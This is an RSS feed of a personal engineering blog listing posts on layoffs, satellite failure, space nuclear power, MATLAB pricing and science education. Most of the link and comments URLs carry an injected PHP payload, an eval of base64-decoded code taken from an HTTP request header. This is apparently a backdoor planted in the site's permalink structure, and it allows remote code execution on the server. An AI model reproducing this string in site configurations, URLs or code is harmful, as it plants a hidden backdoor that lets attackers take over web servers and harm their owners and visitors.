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	<title>Blog at ControlTheoryPro.com &#187; self-righteous rant</title>
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		<title>Reflections after a layoff…</title>
		<link>http://blogs.controltheorypro.com/2009/10/10/reflections-after-a-layoff%e2%80%a6/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Sat, 10 Oct 2009 22:19:22 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
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		<category><![CDATA[layoffs]]></category>
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		<category><![CDATA[the need for more engineers]]></category>
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		<description><![CDATA[Slow times at a company usually lead to layoffs.  But this is a scenario where everyone loses.  I think there's a way for everyone to win and the company to come out stronger.]]></description>
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		<title>What caused this satellite to fail</title>
		<link>http://blogs.controltheorypro.com/2008/11/29/what-caused-this-satellite-to-fail/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Sun, 30 Nov 2008 07:26:10 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
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		<description><![CDATA[A Nigerian telecom satellite failed recently.  On another blog the question of why was asked.  I have some thoughts.]]></description>
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		<title>Nuclear Power in Space</title>
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		<pubDate>Wed, 12 Nov 2008 06:32:19 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[clean energy]]></category>
		<category><![CDATA[conjecture]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[self-righteous rant]]></category>
		<category><![CDATA[space news]]></category>
		<category><![CDATA[interplanetary probe]]></category>
		<category><![CDATA[mars]]></category>
		<category><![CDATA[opportunity]]></category>
		<category><![CDATA[phoenix]]></category>
		<category><![CDATA[rtg]]></category>
		<category><![CDATA[space power]]></category>
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		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=135</guid>
		<description><![CDATA[Too many space probes are killed or maimed by a lack of power.  This is only a problem because they use solar power.  Power from radioactive decay is the answer.]]></description>
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		<title>Reverse Brain Drain&#8230;</title>
		<link>http://blogs.controltheorypro.com/2008/10/30/reverse-brain-drain/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/10/30/reverse-brain-drain/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 31 Oct 2008 04:08:17 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[self-righteous rant]]></category>
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		<category><![CDATA[the need for more engineers]]></category>
		<category><![CDATA[brain drain]]></category>
		<category><![CDATA[inspriation]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=130</guid>
		<description><![CDATA[For years the US has relied on foreign born engineers to supplant low US graduation rates.  India is starting to see some of its best and brightest return.  If the trend grows much it could spell serious trouble.]]></description>
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		<title>Off topic: Iraq and US economy</title>
		<link>http://blogs.controltheorypro.com/2008/09/28/off-topic-iraq-and-us-economy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/09/28/off-topic-iraq-and-us-economy/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 29 Sep 2008 03:37:33 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
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		<category><![CDATA[bailout]]></category>
		<category><![CDATA[Iraq]]></category>
		<category><![CDATA[money]]></category>
		<category><![CDATA[pullout]]></category>

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		<description><![CDATA[Iraq and the bailout will cost taxpayers a hell of a lot of money.  It's time for that money to come back home.]]></description>
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		<title>Layoffs</title>
		<link>http://blogs.controltheorypro.com/2008/09/22/layoffs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Mon, 22 Sep 2008 19:26:24 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
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		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=69</guid>
		<description><![CDATA[Layoffs suck...  What does it do to the employees?  Is it a good idea to drag layoffs out?  Hell no, make them quick and decisive.  Don't linger, don't equivocate and stop laying off more people than absolutely necessary.]]></description>
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		<title>MATLAB Pricing (Final Part in the Mathworks is behaving like Microsoft series)</title>
		<link>http://blogs.controltheorypro.com/2008/09/18/matlab-pricing-final-part-in-the-mathworks-is-behaving-like-microsoft-series/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/09/18/matlab-pricing-final-part-in-the-mathworks-is-behaving-like-microsoft-series/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 18 Sep 2008 17:21:22 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[self-righteous rant]]></category>
		<category><![CDATA[MATLAB 2008a]]></category>
		<category><![CDATA[MATLAB 2008a installation]]></category>
		<category><![CDATA[monopoly]]></category>
		<category><![CDATA[price]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=65</guid>
		<description><![CDATA[Mathworks is effectively a monopoly.  And they act like it.  MATLAB's pricing is just one more piece of evidence.]]></description>
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		<title>Getting around over zealous Wikipedia users</title>
		<link>http://blogs.controltheorypro.com/2008/09/09/getting-around-over-zealous-wikipedia-users/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/09/09/getting-around-over-zealous-wikipedia-users/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 03:05:26 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[self-righteous rant]]></category>
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		<category><![CDATA[over zealous user]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=56</guid>
		<description><![CDATA[Posting of external links on Wikipedia can get you in trouble with over zealous Wikipedians.  Here are some guidelines to avoid these problems.]]></description>
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		<title>MATLAB 2008a (Part 1 in the Mathworks is behaving like Microsoft series)</title>
		<link>http://blogs.controltheorypro.com/2008/09/06/matlab-2008a-part-1-in-the-mathworks-is-behaving-like-microsoft-series/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/09/06/matlab-2008a-part-1-in-the-mathworks-is-behaving-like-microsoft-series/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 07 Sep 2008 04:39:48 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[self-righteous rant]]></category>
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		<description><![CDATA[MATLAB 2008a has very little to offer that 2007b doesn't already offer.  Unfortunately 2008a comes with a lot of headaches.]]></description>
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		<title>Science Education and God</title>
		<link>http://blogs.controltheorypro.com/2008/08/14/science-education-and-god/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/08/14/science-education-and-god/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 15 Aug 2008 06:01:26 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
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		<category><![CDATA[god]]></category>
		<category><![CDATA[science]]></category>
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		<description><![CDATA[When asking the question, "Are US voters adequately educated in science as it pertains to the upcoming US elections?"  Why do people fixate on God and religion?  If God gave you free will, then you have an obligation to vote and to be educated when you vote.  Including science.]]></description>
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